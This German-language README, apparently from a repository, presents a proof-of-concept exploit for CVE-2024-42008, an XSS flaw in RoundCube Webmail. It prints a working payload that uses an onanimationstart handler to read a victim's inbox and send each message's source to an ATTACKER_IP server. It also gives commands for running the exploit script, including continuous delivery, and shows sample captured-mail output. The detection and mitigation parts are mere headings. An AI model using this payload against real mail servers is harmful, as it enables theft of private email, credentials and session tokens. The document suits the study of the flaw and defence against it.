
Proof-of-concept Exploit für CVE-2024-42008, eine Cross-Site Scripting-Schwachstelle in RoundCube Webmail. Liefert XSS-Payloads über Kontaktformulare, um E-Mails, Anmeldedaten und Sitzungstoken in autorisierten Penetrationstestumgebungen zu stehlen.
Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2024-42008, eine Cross-Site-Scripting (XSS)-Schwachstelle in der RoundCube-Webmail-Anwendung. Dieser Exploit ist für Bildungszwecke und kontrollierte Penetrationstest-Umgebungen wie HackTheBox konzipiert.
Die Schwachstelle existiert in der Funktion rcmail_action_mail_get->run() und erlaubt es entfernten Angreifern, beliebiges JavaScript im Browser des Opfers auszuführen. Der Fehler liegt in einer unzureichenden Eingabevalidierung bei der Verarbeitung von E-Mail-Inhalten, insbesondere bei der Handhabung von CSS-Animationen und JavaScript-Ausführungskontexten.
Hauptangriffsvektor:
onanimationstart-Ereignishandler umgehen InhaltsfilterErfolgreiche Ausnutzung ermöglicht Angreifern:
Der Exploit besteht aus drei Hauptkomponenten:
// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
// 1. Fetch email list from victim's INBOX
fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
.then(r=>r.text())
.then(t=>{
// 2. Extract email UIDs using regex
[...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
// 3. For each email, fetch full source
fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
.then(r=>r.text())
.then(data=>{
// 4. Exfiltrate email data to attacker server
fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
})
})
})
; foo=bar">
pip install requests
# Single payload delivery
python cve-2024-42008-exploit.py
# Continuous mode (every 30 seconds)
python cve-2024-42008-exploit.py -c
# Custom interval (every 60 seconds)
python cve-2024-42008-exploit.py -c -i 60
# Debug mode with proxy
python cve-2024-42008-exploit.py -d
Bearbeiten Sie das Skript, um Folgendes zu konfigurieren:
ATTACKER_IP: IP-Adresse Ihres LauschserversATTACKER_PORT: Port zum Empfang exfiltrierter DatenRECIPIENT_EMAIL: Ziel-E-Mail-AdresseTARGET_URL: Angreifbare RoundCube-InstanzPROXY: Proxyserver zum Debuggen (Burp Suite/Caido)| Option | Beschreibung |
|---|---|
-d, --debug | Aktiviert den Debug-Modus mit Proxy-Unterstützung |
-c, --continuous | Sendet Payloads kontinuierlich |
-i, --interval | Intervall zwischen Payloads (Standard: 30s) |
Erkennungsindikatoren:
onanimationstart-Ereignishandler in HTMLAbhilfestrategien:
Testüberlegungen:
⚠️ WARNUNG: Dieser Exploit wird nur zu Bildungs- und autorisierten Testzwecken bereitgestellt.
[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200
[+] 📩 Captured Email Data:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log
Dieser Code wird nur zu Bildungszwecken und für autorisierte Penetrationstests bereitgestellt. Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch diese Software verursacht werden. Stellen Sie stets sicher, dass Sie vor dem Testen eines Systems über die entsprechende Autorisierung verfügen.